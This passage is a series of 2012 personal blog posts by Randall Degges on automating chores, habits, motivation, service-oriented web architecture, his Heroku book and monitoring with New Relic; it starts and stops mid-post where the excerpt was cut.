While it may not look like it takes an enormous amount of time to pay you rent each month, the mental cost is a lot higher. When you’re at the gym half-way through the month and your brain alerts you and says Oh yea! I have to pay the rent again in two weeks, better not forget about it. and then keeps reminding you every day or so until you do it–you’ve accumulated minutes worth of stress, worry, and unnecessary distraction. When you think about all the things you have to remember to do each month, it all adds up, inch by inch.

If you’d like to free up your time, be able to keep a clear mind, and focus on the things you want to focus on (not things you are forced to focus on), you’ll need to automate. All those little things you have to do each month? Automate them. Be as lazy as you can possibly be.

Can you have toothpaste shipped to your house automatically each month? Do it.
Can you have toilet paper shipped to your house each month? Do it.
Can you write a script to automate those billing reports at the end of the month? Do it.
Can you have your bank automatically pay your rent for you? Do it.

Automation is an incredibly useful tool, one that way too many people don’t take advantage of. It is one of the best ways to cut back on worry, stress, and unnecessary distractions in the short and long term. If you can completely automate even some of your basic monthly needs, you’ll immediately reap the benefits.

For any of your basic product needs (toilet paper, toothpaste, razors, etc.), you can most likely have Amazon auto-ship them to your house each month.

Need to generate business reports each month? Why not use a service like Ducksboard and plug your data into a single, fancy dashboard that you can look at whenever you need to.

Need to pay your rent on the 1st of the month? I can almost guarantee your bank will let you do it automatically.

I started ruthlessly automating my personal nuisances last year, and it’s made an enormous difference in how I spend my time. Instead of worrying about trivial matters constantly, running to the grocery store at 11pm to grab toothpaste, or exchanging 20 emails back and fourth at the start of each month about business analytics–I can instead focus on the things that I’d actually like to work on, as opposed to being pulled in all directions.

If you’re looking for a quick way to cut back on your stress, free up some time, and clear your mind–spend a day automating all your basic needs–I guarantee you won’t regret it.

Some Constants

r@rdegges.com (Randall Degges) — Sun, 14 Oct 2012 00:00:00 -0700

Everyone has their constants–a spouse, a ritual, parents, friends, whatever. Even with shit gets crazy in your life and you’ve got a million things going on, your constants are the things you can always count on.

Having things you can rely on day after day makes you feel comfortable. No matter how tough things get, no matter what craziness is currently going on, you can always count on your constants.

A few months ago I really changed my daily schedule around. I started making some habit changes that I’ve really enjoyed. What follows are my constants. These are the things that make me feel awesome every day, regardless of whether or not I’m feeling my best.

Lifting Weights

PICK STUFF UP, AND PUT IT DOWN AGAIN. I know that everyone has their preferred form of exercise, but for me, it is lifting weights. The first thing I do when I wake up (6 days a week) is head over to my local gym and do the day’s workout.

It feels nice knowing that even if the rest of my day sucks–even if I break production, write crappy code, get overwhelmed with the TODO list–at least I got a good workout in.

Getting a win early in the day feels good, keeps me motivated, and generally makes me feel more awesome.

Reading

I read a lot of books. I’m really into software best practices, programming, and theory books. (As a sidenote, basically every book The Pragmatic Bookshelf publishes is fucking amazing.)

I don’t really understand how other people can go several days (or more!) without sitting down, and reading some sort of book. Out of all the things I’ve done in my life, reading has probably been the most important.

If you aren’t reading books, learning new things, and pushing yourself out of your comfort zone (knowledge wise)–you’re going to stagnate. In my opinion, reading books is the single greatest way to always be expanding your knowledge base.

Get a Kindle, download some ebooks, visit your library–whatever. Just read stuff. More.

Eating Meat

MEEEAAAATTTT! Meat tastes good, it’s filled with protein, makes you feel full, and is low on calories. What could be better?

I don’t really have much to elaborate on for this one. Eating meat makes me feel awesome, helps repair muscle tissue, and tastes amazing. Some of my favorite dishes at the moment are almond chicken, meatballs with sauteed onions, and everyone’s favorite: bacon.

Writing

Writing is very therapeutic. The act of analyzing your thoughts, figuring out what they mean, and then translating that meaning into groupings of words that other people can understand is a great way to improve your:

Thinking skills.
Thoughtfulness.
Knowledge of whatever subject you’re writing about.

In addition to the obvious benefits, I find that writing every day helps me relax. It feels good to pick a topic, think about it, and spend some time writing about it. It’s a soothing process.

Writing is also a pretty good way to get to know other people. I’ve made tons of really awesome friends through my blog that I never would have met otherwise. There are so many interesting people out there, and what better way to meet them than through writing about topics they care about?

If you end up writing about a lot of technical stuff, you’ll probably meet some really awesome technical people. If you write a lot about business stuff, I’m sure you’ll meet awesome business people.

Writing a little bit every day keeps me sane, helps me relax, and generally makes me feel awesome.

These are the my constants. They change from time to time, but are always there for me to fall back on. What are yours?

My Bane - Multiple Projects

r@rdegges.com (Randall Degges) — Sat, 13 Oct 2012 00:00:00 -0700

This topic is something that’s been floating around in the back of my mind for the past several years. My weakness, fatal flaw, bane, whatever you want to call it… Is that I’m awful at doing multiple things. Really awful.

Whew, just saying it makes me feel a little bit better.

Every single day I open up my laptop, turn it on, and stare at the screen for a good 10 seconds or so before diving into whatever it is I’m doing: working on my startup, working on GitHub projects I’ve created, reviewing pull requests, reviewing feedback for my book, working on one of the other 50+ projects I’ve got going on at any given time… UGH.

During those 10 seconds, I’m completely destroyed by a tidal wave of thoughts:

Oh no! I didn’t review that pull request from that library I wrote.
Oh no! I need to finish up the new billing stuff on the website before our user emails go out!
Oh no! I need to rewrite this chapter of my book after getting some really awesome feedback.
Oh no! I’ve got a big talk coming up that I have to work on in the next several weeks.
…

As soon as those 10 seconds are over, however, I regain my composure, remember the most important thing I need to be working on, and start attacking it.

What really bothers me, however, is that day after day, month after month, year after year–I still think about all the things I need to do, should be doing, could have done, and want to do–constantly. It’s as if somewhere inside I’m paralyzed by my options, ambitions, thoughts, and goals.

I know that I want to do all of the things I’ve got on my mind. These are all things I’ve thought about, started, worked on, and set goals for. These are all things that I really love, and want to see become successful, kick ass, and enviable projects.

And even though I’m able to maintain focus–working on the most important things every day–it still bothers me to no end that I’m unable to dedicate as much time, commitment, and energy as I want to each of these projects that I love so much.

I’m beginning to think that at some point, importance just doesn’t matter anymore. If I feel really excited about working on my book, then I’m going to work on my book. If I feel really motivated to write that sexy new billing interface for my users, I’ll do that. If I feel like pushing the new product launch back two days so I have time to clean up, isolate, and publish that awesome python library which allows me to remove duplicate code from the code base, then I’m going to do it!

From now on, I’m going to make a conscious effort to stop letting importance dictate my life, and instead let my passion and motivation drive my daily work.

Instead of suppressing my urge to hack on my favorite projects, I’d instead like to use my passion to get shit done, feel happy with myself, and build awesome stuff.

NOTE: Just to clarify, I’m not the type of person to work on a million separate ideas at a time. I have a relatively small list of projects that are really meaningful to me, which is what I’m talking about in this article.

No Regrets

r@rdegges.com (Randall Degges) — Wed, 10 Oct 2012 00:00:00 -0700

I’ve always been an extreme person. My internal motto has always been to either do something all the way, or not do it at all.

When I was getting to know my wife (back when she was just my girlfriend), I think this scared her a bit. Always putting everything you have into everything you do is really draining (on yourself, and the people around you).

If you’re on a strict diet, your friends may not like it when you can’t go out to certain restaurants with them. If you’re on a strict time schedule, your friends may not like it when you can’t hang out on the weekends. If you’re building a company, your friends may not like the fact that you’re always talking about your work. If you’re lifting heavy weights six times a week, your friends may not like the fact that you’re always completely exhausted.

No matter what the situation, giving 100% of your effort to any one task is hard. It requires dedication, commitment, and pain.

When my wife first told me how extreme I was from her point of view, I had to take a step back and think it over–was I really that extreme? Do I need to slow down? Should I pace myself more? So I did what anyone would do: I tried it. I slowed down, paced myself, and tried to relax more.

After going through a few phases of being not-so-extreme, I realized that it just wasn’t for me. If I’m not giving what I’m doing 100% of my effort, I tend to feel bad about myself–I tend to have regrets.

There’s nothing worse than looking back at:

What you’ve done.
What you’ve accomplished.
What you want to accomplish.

And thinking about all the ways you’ve could’ve done better: I should have done this, or I could have done that, or I can’t believe I didn’t do ….

To me, that is by far the worst feeling–knowing that you didn’t give it your all, and feeling the regret sink in, day after day.

Even though busting your ass every day and working as hard as you possibly can is painful, it is a lot less painful than not living up to your potential, and taking the easy way out.

No matter how much you try to justify your actions to yourself: if you aren’t always fighting yourself to be as good as you can be, struggling to get better, and ripping through obstacles on the way to the finish line–you will certainly have regrets.

Don’t settle for that.

Don't Panic! Frustration is an Anti-Pattern

r@rdegges.com (Randall Degges) — Thu, 04 Oct 2012 00:00:00 -0700

Frustration and programming seem to go hand in hand. When solving problems with code, there are an unlimited amount of things that can go wrong, and very few things that can go right:

The third party library you’re using to implement a piece of functionality doesn’t work as stated in the documentation.
Your co-worker unknowingly reverted a bug fix you made the previous week.
You accidentally deployed code that corrupted user data.

Unfortunately, this means that if you write a lot of code, you’ll be spending quite a lot of time frustrated on a day-to-day basis.

What I’ve noticed, however, is that lots of people tend to embrace their frustration instead of doing the opposite and letting it go.

When you bump into problems, if you tell yourself that it is difficult, and convince yourself that you are a victim of issues you can’t control–your frustration will simply keep building and building, and your work will quickly dwindle in quality.

The more you embrace your frustration, the more frustrated you become.

Through my own experience, I know that some individuals (and companies!) actually thrive off frustration. Instead of acknowledging the issues at hand, some people simply press each other harder, and make each other feel worse. In the workplace, this manifests as a boss pressuring his subordinates when they’re in a tight spot, adding to the frustration and intensity of the whole organization–and delivery sub-par results.

There is no way to stop yourself from being frustrated. Instead, however, you can consciously make a decision to acknowledge your frustration (that broken third party library, your reverted bug fix, whatever), realize that your frustration isn’t helping you make progress, and let it go.

With a clear head, you can now tackle the next most important problem (fixing that broken library) without compromising your sanity.

Just let it go.

Dangerous People

r@rdegges.com (Randall Degges) — Wed, 03 Oct 2012 00:00:00 -0700

There are lots of people on earth–some big, some small, some famous, some unrecognizable, and some dangerous.

Out of all the people I can think of, the most dangerous ones are the pragmatic ones. That guy (or gal) you know through IRC who’s always working on his side projects well past 2am each night–these are the most dangerous people. They possess skill sets and personality traits that aren’t commonly seen: they’re reasonable, thoughtful, passionate about what they do, and not afraid to do it (even if it takes a lot of work).

Almost everything is done virtually today. Each day the physical world seems to slip a bit further into history, and the virtual world seems to replace the crumbling buildings it leaves behind. We’ve all seen how incredibly fast technology has replaced century-old businesses, and there is no question in my mind that within the next 20 years the trend will continue.

If you’re a computer programmer, engineer, graphic designer, or any combination of the above, you’re in an incredibly unique position right now: you have the ability, tools, and power to build immense wealth, influence, and fame–much more so than at any previous time in history.

With a laptop, an internet connection, and 50$ you can bootstrap even the most ambitious technical projects by yourself, decimating even the most highly established, well-funded and successful businesses in an incredibly small amount of time.

It’s time to take your skills, and use them to your advantage. Instead of putting in 60 hour weeks at a company you hate, it’s time to bust out of your shell and unleash your power and ability. Don’t hesitate, and don’t hold back. The timing couldn’t be more perfect, so don’t let this opportunity go to waste.

If you’ve got the skills, ambition, and motivation to build something great, get out there and do it. Be dangerous, now is the time.

Programming and Motivation

r@rdegges.com (Randall Degges) — Tue, 02 Oct 2012 00:00:00 -0700

Writing software can be pretty draining work. It is insanely fun when you’re in the zone and feeling good, and insanely dull when you’re not feeling your best.

In my personal experience, I’ve found that my programming ability is directly correlated to my motivation for the task at hand. Since I’m having a pretty good day today, I thought I’d take a moment to reflect on programming and motivation.

What Makes Good Software?

Good software is all about passion. It doesn’t matter if you’re an excellent programmer–if you wake up each day and hate what you’re working on, the way you’re feeling will be reflected in your work.

On the other hand, if you love what you’re working on, really care about the people who will be using your software, and aren’t afraid to be ruthless with your day-to-day development, you’re going to produce awesome software, and nothing will be able to stop you.

When I’m not feeling so great, I try to really put myself into the shoes of my users. If I were using my software, how would I feel about it? What can I do to make it better so my users love it more, and want to keep using it? Just the process of sitting down and really thinking about this is usually enough to get me kick started, and motivated to do some serious hacking on whatever project I’m working on at the moment.

Having Fun

Programming is a mental exercise. Like any mental exercise, it’s easy to burn yourself out if you do it the wrong way.

Imagine sitting down reading a book on algorithms–sure, it’s fun for a while (when you’re feeling motivated!), but the farther along you go the more drained you become, and eventually you’ll get frustrated and demotivated.

The key to having fun while programming (at least for me), is to do it in bursts. If you’ve got a lot of code to write, take some time to organize your thoughts before you dive in. I like to list some small goals, e.g.

Finish the about page.
Write automated email script for low-balance notifications.
Write a script to automatically adjust DynamoDB throughput for the users table.

This way I’ve at least got something concrete to look at in front of me, and instead of writing code and constantly thinking about all the things I have to do, I can just focus on a single task and do a really good job of finishing it.

Not only does having your tasks laid out make it easier to focus, it also makes you feel good when you get stuff done. Each time I finish code I’m working on, I get a really great warm and fuzzy feeling deep down, which only serves to increase my motivation and keep me feeling good >:)

The other solution, of course, to having fun while programming is an old and tested way: lock yourself in a small dark room, put on the best headphones you have, and blast your favorite tunes. While not sustainable, this is definitely a great way to have fun while building weekend projects =)

Caffeine

While I’m definitely not a doctor, I can tell you with certainty that caffeine makes me feel awesome.

Despite the fact that some people respond poorly to caffeine, to me it is a staple of programming motivation. Not only do I feel great on caffeine (happy, thoughtful, energetic), but it generally awakens my technical curiosity and really gets me in the mood for some hacking.

Caffeine + programming is a magical mixture.

For the health conscious–if you’re interested in a good energy drink with no sugar (no carbs), great flavor, and copious amounts of programmer blood caffeine, you should try the Rockstar No Carb (my favorite).

Realize Your Ambitions

Everyone has their ambitions–what are yours? Do you want your open source project to get a million followers on GitHub? Do you want to launch that side project you’ve been working on for the past three months? Do you want to get 500 new users this month?

It is so easy to get distracted by day-to-day life, that it often becomes difficult to always keep working towards your ambitions. I realized a long time ago that no matter how busy you are, no matter how much pressure you’re under, and no matter how beat up you’re feeling–you need to keep working on yourself, and pushing yourself to the next level.

Progress only happens when you work hard, fight for what you want, and don’t stop until you get it.

The next time you’re not feeling your greatest, take a minute to think about all the things you want to achieve, and then get out there and do them! Every moment you spend feeling bad is a moment wasted, so try to focus on accomplishing the things you want to accomplish, and making the journey to get there as fun as possible.

Ultimately, your success or failure to fulfill your ambitions rests solely on your shoulders. Push yourself, and don’t give up!

Motivation is a powerful thing. If you can manage to stay motivated for the task at hand, whether it be programming, exercising, or whatever else you’d like to do–you’ll be able to do it better, faster, and enjoy it more along the way.

For programming (especially), maintaining motivation is extremely important as your mood greatly effects your work.

Now get out there and write some code!

Service Oriented Problems

r@rdegges.com (Randall Degges) — Mon, 01 Oct 2012 00:00:00 -0700

In my last post, I discussed some of the benefits of writing service oriented web applications. In this post, I’d like to discuss some of the problems commonly encountered when writing service oriented web applications.

For the rest of this article, I’m going to assume you have some basic web application programming experience.

Problem 1 - MVP

One of the largest complaints you’ll hear about writing service oriented web applications is that it takes longer to build a working MVP (minimum viable product). What this means is that if you’re writing your web application from scratch, and have to launch an initial version as quickly as possible, SOA (service oriented architecture) probably isn’t for you.

The reason this is true is that while service oriented web applications are far simpler to maintain in the long run (among lots of other benefits), it requires more upfront development time to get things working. Let’s look at why.

Let’s say you’re building a blogging engine (something like tumblr). If you were start building your product as services, you’d start by writing:

A tumblr-accounts service which provides an API to create, edit, and remove user accounts as well as authenticate users.
A tumblr-api service which provides an API to create, edit, and publish a user’s blog posts.
A tumblr-www service which provides a user facing website, and makes use of your tumblr-accounts and tumblr-api services to build its functionality.

NOTE: For something as large and ambitious as tumblr, you’d likely want to have more than the three services listed above. If you are getting started with SOA, however, always writing an accounts, api, and www service is a good starting point.

Through the process of writing your accounts, api, and www services you’ll also be faced with another obstacle: defining a clean and clear API that you’ll be using to work with your data. When you begin writing services, you can’t half-ass anything–you have to make a working API for your accounts project, and a working API for your api project–otherwise, nothing else will work.

Compare this with writing a single monolithic project. When writing a single large application you can typically make time saving trade-offs as you’re writing your MVP. For instance, instead of maintaining separate databases for your user accounts and your blog posts, you can throw them all on a single database. This means you can also use your framework’s ORM (object relational mapper) to create, edit, and delete users and blog posts without having to worry about writing any sort of APIs.

Over time, as your application grows in features and complexity, having separate independent services that interact with each other via APIs is going to be a lot simpler to maintain–but in the short term, it is typically much quicker to hack together a single monolithic project as opposed to a nicely modularized service oriented architecture.

Problem 2 - Authentication Implementation

If you’ve never written service oriented web applications before, the first time you give it a try you’ll likely bump into a frustrating problem: handling user authentication properly for your website.

In my experience writing service oriented web applications, this is without a doubt the single largest implementation issue people bump into. Let’s analyze the problem (and also discuss the solution).

Going back to our tumblr example from the previous section–we have www, api, and accounts services. The authentication implementation problem you’ll bump into happens when you start writing your www service.

Most web frameworks are built around the idea of creating monolithic web applications. Many web frameworks ship with an ORM, whose deep integration makes handling certain types of problems very simple. For instance, using many web frameworks (I’ll use Django as an example), you can easily log a user into their account, allowing them to access certain web pages.

The way this works is that each time a user makes an HTTP request to your site, Django will perform a database query to ensure the user account exists and is properly identified. This ensures that a user is legitimate, and allows you (the developer) to skip a lot of implementation details dealing with authentication.

When you move to a service oriented architecture, however, you no longer have an ORM available to your www service. Instead of performing a database query every time a user makes an HTTP request to your site, you need to make an HTTP request to your internal accounts service, authenticating the user properly.

Since most web developers never have to worry about this sort of implementation themselves, this can be a tricky thing to implement.

Solving this problem is typically different for each web framework. If you’re using Django, for instance, the solution is to subclass the default authentication back end that ships with Django and override the necessary methods to perform HTTP requests to your accounts service instead of performing ORM queries. If you’re using Flask (another python web framework), the solution is to use the wonderful third party application: flask-login.

Regardless of your tool set, this is almost always a problem people bump into.

Problem 3 - Cost

Another issue people frequently bring up when discussing SOA is cost. Depending on your application requirements, cost can quickly become a prohibiting factor.

To truly get the benefits of a service oriented web application, you need each service to be ran and managed independently of one another. This means that you’d run each of your services on separate groups of servers, each with their own dedicated resources (databases, caching servers, whatever).

If you have a very small application, and don’t plan on getting a lot of usage out of it–writing it in a service oriented fashion may be more work and more expensive than it’s worth.

One way around the cost issue, however, is to deploy your services to a platform like Heroku. Heroku’s platform allows you to deploy your services live with a generous free tier (a single free web server, free small databases, caching servers, etc.). This can be a good option if you’d like to build a service oriented web application without breaking the bank, as you can easily scale up when your usage gets higher, and begin paying for higher levels of service as your application grows.

Problem 4 - Documentation

Quite possibly the largest SOA issue you’ll face if you decide to write service oriented web applications is that there is very little practical documentation around.

Many popular web frameworks, tool sets, books and classes only teach the monolithic model of web application development. This means that there are very few guides, and very few helpful resources out there to help you when you get stuck.

Unfortunately, since writing service oriented web applications is a lot more difficult to explain (and has varying requirements depending on your specific use case), many books, guides, and tutorials don’t teach it as it adds unnecessarily complex material and mental models, which may scare off new developers.

In the future, as SOA continues to become more popular, I’d be surprised if there weren’t more resources available. I’m guessing that in the next few years there will be a large amount of books, tutorials, and guides written covering these topics in more depth.

Wrap Up

If you’ve read all the way down to here, you probably have a good understanding of the challenges you’ll face writing service oriented web applications.

Writing services means you need to have more development discipline, maintain a stricter set of APIs for your services, and generally invest more time upfront when writing your application.

In my experience, writing service oriented web applications can be an extremely effective way to build great products. Not only do you gain tremendous benefits initially (a stricter set of APIs, redundancy at a service level, simpler isolated code bases), but as time goes on these benefits become more and more prevalent (it is easier to maintain your application, you can scale your application quicker and more precisely, complexity drops substantially).

Regardless of how you write your applications, go hack something! >:)

Service Oriented Side Effects

r@rdegges.com (Randall Degges) — Fri, 28 Sep 2012 00:00:00 -0700

There are two primary ways to write web applications these days:

By building a single, monolithic web application (where all your code is in a single project and runs on a single domain).
By building lots of small independent web services, each one with their own codebase and URL endpoint. (This methodology is known as Service Oriented Architecture.)

There are benefits and drawbacks to each approach.

What this article is about, however, are the side effects of writing your applications as web services as opposed to monolithic web applications. This article assumes you have some basic knowledge of writing web applications.

To get started, lets discuss the basics: the monolithic pattern and the service pattern.

The Monolithic Pattern

If I had to guess, I’d say that close to 99% of all active web applications are written as monolithic web apps. Why? I think that with so little practical information around on building service oriented web applications, it is only natural to build monolithic applications instead.

For starters, it’s a lot easier (at least in the beginning) to put all your web app code into a single project. Over time, as your project grows and more and more complexity is added, it’s a lot easier to simply refactor the old stuff than it is to rip your application apart into multiple independent services.

With so many monolithic applications out there, certain patterns have emerged over the years that make building and scaling monolithic web applications simpler–primarily, message queues.

When you’re working on a large monolithic web application, and need to:

Speed up your response time,
Render things asynchronously, or
Perform time intensive operations on separate hardware…

The de-facto way to do so is by relying on the message queueing pattern. What this allows you to do is dump tasks into a message queue (something like RabbitMQ, Amazon SQS, or Redis), which will then be read (consumed) by one or more worker servers which read the task, process it, and dump the resulting values into some place that your web application can retrieve it.

Using message queues allows you to fire-and-forget slow operations, letting them happen naturally behind the scenes without delaying your web response time.

The Service Pattern

While service oriented architecture is certainly a hot topic in tech circles, it has still not gained widespread adoption, primarily due to the fact that it can be complex to implement, and has a steeper learning curve for new developers.

Service oriented web applications differ from monolithic web applications in several main ways:

They are composed of multiple, small, independent services (think: www, api, accounts, portal).
Each of these small services talks via HTTP to the other services.
Each of these small services has less code in it (since they do less things), making them generally easier to maintain over long periods of time.
Each of these small services has their own resources: web servers, databases, etc.

As you can probably see, building service oriented web applications essentially gives you many small moving parts as opposed to a single large part.

Effect 1: Maintainability

The first side effect you get by writing service oriented web applications is simple: better maintainability for your web application.

By having multiple small code bases that are each responsible for a very small amount of logic, you’ll typically have an easier time maintaining your code in the long term–since complexity is always kept to a minimum and the code is easy to navigate.

Let’s say you’ve written an accounts web service, which is solely responsible for creating, updating, and removing user accounts. This means that if you need to update some account logic, you know exactly where it is. There is no searching through thousands of lines of view code, database wrappers, or anything else–as this logic exists in only a single small place in your application.

Compare this with maintaining monolithic applications with lots of complexity in a single place, it becomes harder to make code changes without side effects, more difficult for new developers to dive in (where do I get started?), and tricky to refactor without breaking things.

Effect 2: Scalability

One of my favorite effects of writing service oriented web applications is the passive effect it has on scalability.

By having multiple small web services, each with their own resources (databases, message queues, web servers), this gives you the ultimate flexibility in scaling your web application. Let’s say your application consists of the following services:

myapp-api, your public facing web API for developers.
myapp-www, your public facing website.
myapp-accounts, your internal API for managing user accounts.

Let’s say that each time a developer makes a request to your myapp-api project, you first have to authenticate the user against your myapp-accounts project (real-world scenario). Let’s also say that each time users log into their account on myapp-www, they ALSO must authenticate against your myapp-accounts project.

Since both your myapp-api and myapp-www projects rely on myapp-accounts for authentication data, it is likely that your myapp-accounts project will be getting a lot more usage than either your myapp-api or myapp-www projects.

Luckily, since you’ve built your web application as a composition of independent services, you now have several options to scale your myapp-accounts project:

You can add more web servers.
You can add a larger database.
You can scale your database queries out (through read slaves).
You can add or refactor your logic to make better use of message queues for time intensive tasks.

And you can do this all without affecting either of your other two services: myapp-api or myapp-www!

Compare this with scaling monolithic web applications: if you need to increase capacity for users authenticating against your database, you must scale your entire application–you can’t selectively choose which parts to scale, and which parts to leave alone (note: this isn’t entirely true, but I’m saying it anyway).

Effect 3: Simplicity

Another effect of writing service oriented web applications is that you generally have a much simpler back end system.

As I mentioned at the start of this article, one of the primary ways to scale monolithic web applications is by heavily relying on message queues to process time intensive tasks. When you begin writing services as opposed to monolithic apps, you can actually rely much less on messages queues than you’d think, eliminating technical complexity and architectural burden.

Let’s say you have a monolithic application that fires off a time intensive task (via a message queue) which subtracts money from a user’s bank account. The reason you fire this off as a task is because this function must perform a lot of sanity checks before removing the user’s money, and you want to ensure this happens safely outside of your user’s request-response cycle.

What if one of your internal services handled all banking transactions for users? Instead of:

Running a message queue,
Running a backup message queue (in case of failure), and
Running multiple worker servers…

You could simply fire off an HTTP POST request to your internal myapp-transactions project and let it handle things in real time. The reason you could do this is because, knowing your transactions application requires fast servers, you could:

Ensure your myapp-transactions service runs on very fast web servers,
Can quickly process and handle banking transactions,
Keep your code simple and independent of external dependencies.

Instead of relying on a message queue, you could: rip it out of your architecture all together, have a small (easily maintainable) code base for your transactions, expose a simple HTTP service that your other applications can talk with, and scale your transactions service independent of all your other services (this way, if you suddenly start doing a lot of transactions, you only need to focus on scaling a single small code base).

Wrap Up

In my experience, building service oriented web applications generally leads to simpler, faster, and more scalable web applications. Without realizing it, you can:

Make maintaining and expanding your code base easier.
Lower the bar for new developers.
Make scaling your application a simple process.
Reduce architectural overhead and complexity.

Also: if you’re at all interested in building service oriented web applications, you may want to check out my book: The Heroku Hacker’s Guide, it teaches you how to use Heroku’s platform to build fast, small, independent web services.

The Simplest Question

r@rdegges.com (Randall Degges) — Thu, 27 Sep 2012 00:00:00 -0700

Improvement is something nearly everyone craves–you want to be better at your job, better at your relationships, better with your physical fitness–the lists goes on endlessly.

Regardless of what you’re trying to improve, there are likely thousands of websites, books, and bits of advice available to you that will help you to analyze your desires, organize them in a healthy way, and slowly make progress towards one (or more) of these goals. Over time, with enough consistency, you’ll improve in the areas you want to improve in, and feel better about it along the way.

Despite the plethora of readily available information, I can’t help but think of my own experiences with personal development over the past few years. I’ve spent hundreds of hours reading books, writing, and working to improve myself, but the most important lesson I learned along the way was to ask myself a simple question every day:

“Is what I’m about to do taking me closer to my goals, or further away?”

No matter how many things I’ve got on my TODO list, no matter how much pressure I’m under, and no matter how crappy I’m feeling at the time–asking myself that simple question has without a doubt been the most effective way I’ve been able to keep moving forward.

It is so easy to sabotage yourself and your desires. When you’re tired, frustrated, pressured, irritated, or generally feeling less-than-perfect, you tend to make mistakes. You’ll eat that extra cheeseburger, skip that last important email, and slowly move yourself further away from your goals.

The next time you make a decision to do something, ask yourself that simple question, and keep yourself honest.

My Heroku Book is Finished

r@rdegges.com (Randall Degges) — Mon, 10 Sep 2012 00:00:00 -0700

I wrote a book on Heroku! It’s called The Heroku Hacker’s Guide, and you can buy it (right now!) in both e-book (PDF) and paperback formats on the new book website: http://www.theherokuhackersguide.com/.

If you’ve read my blog, you know I tend to talk a lot about web applications, infrastructure, and best practices. My real passion as a developer (and startup guy) has always been building things. I love creating new products, services, and APIs. I love working on open source code. And I really love deploying my code to simple platforms that encourage me to write good code, and allow me to grow my applications as I please.

Since first using Heroku, I’ve been incredibly impressed over and over again by their product, service, and culture. Not only has it been incredibly simple and straightforward to deploy my web applications on Heroku’s platform– it has been enjoyable.

Over my years working on and building web applications, I’ve done all sorts of devops work. I’ve built continuous integration and deployment systems. I’ve written puppet modules to bootstrap software services. I’ve spent time writing Rackspace and EC2 auto-provisioning scripts that boot new servers and kickstart software configurations. I’ve learned how to automatically load balance incoming HTTP requests. All in all, I’ve spent thousands of hours building fail-safe web services.

But I can tell you now that the single most effective thing I ever did to free up my time and let me do what I love (build things) was to start using Heroku.

In my opinion, Heroku has gotten things right. They’ve built a platform-as-a-service company that encourages best practices development, and gives you all the tools and transparency you need to deploy amazing software that people love. Outside their product, Heroku is filled with amazing people doing amazing things. They actively build and release open source software (look at their GitHub account), they hire amazing people that build amazing things, and they genuinely care about their users.

My new book, The Heroku Hacker’s Guide, aims to be a practical guide to using and understanding Heroku’s platform, from the ground up. Regardless of what programming language or web frameworks you use, if you’re serious about deploying your web applications to the best platform around, and want to master your tool set, this book is for you.

If you’d like to buy the book (or learn more about it), you can do so here: http://www.theherokuhackersguide.com/.

Thanks for reading.

-Randall

Become a Better Programmer - Monitoring

r@rdegges.com (Randall Degges) — Sun, 26 Aug 2012 00:00:00 -0700

Becoming a better programmer is hard work. Luckily, there’s one foolproof way to improve your programming skills while simultaneously getting real world feedback: monitoring. There are tons of other ways to improve your programming skills, but I’m only going to touch on one aspect (monitoring) in this post.

Before I continue, I just wanted to let you know I have absolutely no affiliation with New Relic (I’m going to be talking about them a lot).

Prerequisites

There is really only one prerequisite to using monitoring to improving your programming skills: you need to write / maintain web software that people actually use.

Since almost everyone that reads my blog is a web programmer, I figure it’s pretty safe to assume you meet this prerequisites already.

In the off chance you don’t write web software, I’ll be covering other strategies in future posts.

How it Works

Learning is really really hard without feedback.

Even if you write software all day every day, while you’ll certainly become a better typist and human compiler–you’ll completely miss out on the important lessons that really affect your programming ability:

How to write performant code.
How to properly refactor code.
How to not break backwards compatibility.
How to scale your software to support lots of users optimally.
And about a million other lessons: caching, compatibility, handling failure properly, etc.

The only way to learn and enhance these skills is to actively (and pragmatically) evaluate your code as users are using it. This is the absolute best way to better your programming skills, as you immediately get real world feedback about your code.

A Scenario

Let’s say you’re writing some blog software, and you’d like to know how your code can be improved.

The first thing you do is write unit tests for your software. You think “this will help me flush out the bugs”. So you spend some time writing tests, flush out a few edge cases, and think your code is absolutely flawless.

Later that night you get an email from a user saying your blogging software is slow, and errors our constantly. You feel a bit of a rush: “what could have gone wrong?”

So now you’re looking at your code, trying to figure out what failed. You spin up a local instance of the site, do a lot of testing, but don’t see any issues. Bummer.

This happens way too often.

The best way to become a better programmer is to monitor your application (using monitoring software) and use this information as a feedback tool.

New Relic - Monitoring for Hackers

There are tons of application monitoring solutions out there, but my personal favorite is New Relic. Using New Relic to monitor your applications will undoubtedly make you feel like this dude:

Just to enumerate some of the ways in which New Relic rocks:

You can get it running without modifying your application code at all.
It gives you a beautiful web interface (see screenshots below) that allows you to easily track all of your application metrics:
- Application response time.
- Errors (404s, 500s, etc.).
- Downtime.
- Slow transactions.
- Throughput.
- Requests per minute.
- Locations of your users.
- Memory usage.
- CPU usage.
- And a ton of other metrics.
They have a free tier (which varies depending on how you run your code, but is awesome).
They let you create custom dashboards to track special metrics you define.
And they’re real time. Yeah.

Here are the obligatory screenshots:

As you can see, the New Relic panel lets you see a ton of data and metrics about your application, making it really easy to identify issues, slow functions, code that needs to be refactored, slow infrastructure components, etc.

Code, Push, Analyze, Repeat

Learning is all about repeating the cycle.

You start by writing code (the first release of your blog software, let’s say).
You push your code live, and get users to use it.
You look at your New Relic panel, hunting for issues.
Can’t find any issues? Pick a metric to improve: average application response time, page load time, database query count, whatever. Since you have the stats in front of you, challenge yourself–find ways to make things faster, simpler, and more elegant.
Make some code changes, and the process starts again.

Through this continuous process of tracking your code (and subsequently, yourself), you’ll force yourself to learn new things, practice your skills, and get scientific feedback along the way.

Push Yourself

Without real world analysis, you’ll only be able to push your skills so far. If you really want to further your programming skills, you should be actively monitoring and analyzing your applications–looking for ways to improve them.

Don’t be easy on yourself.

Of course–monitoring isn’t the only way to better yourself as a programmer– but it is a great way. If you’re serious about practicing your craft, you should check out New Relic.

In future posts I’m hoping to write about other methods to becoming a better programmer.

Two Months In

r@rdegges.com (Randall Degges) — Wed, 22 Aug 2012 00:00:00 -0700

Approximately two months ago, I started working on my startup full-time. More than anything, I wanted to get some of these ideas out of my head so I have something to look back at later.

Chaos is Best

Most software companies tend to operate by having a very specific goal, and having a group of engineers work towards that goal (with management checking up on them) until the goal has been accomplished.

Regardless of whether your team does waterfall, agile, or anything in between, pursuing a single goal with a group of people seems like a bad idea. I’ve never been able to properly articulate what I didn’t like about this in the past, but since I started working on my company full-time I’ve come to understand what it is that bothers me so much: motivation.

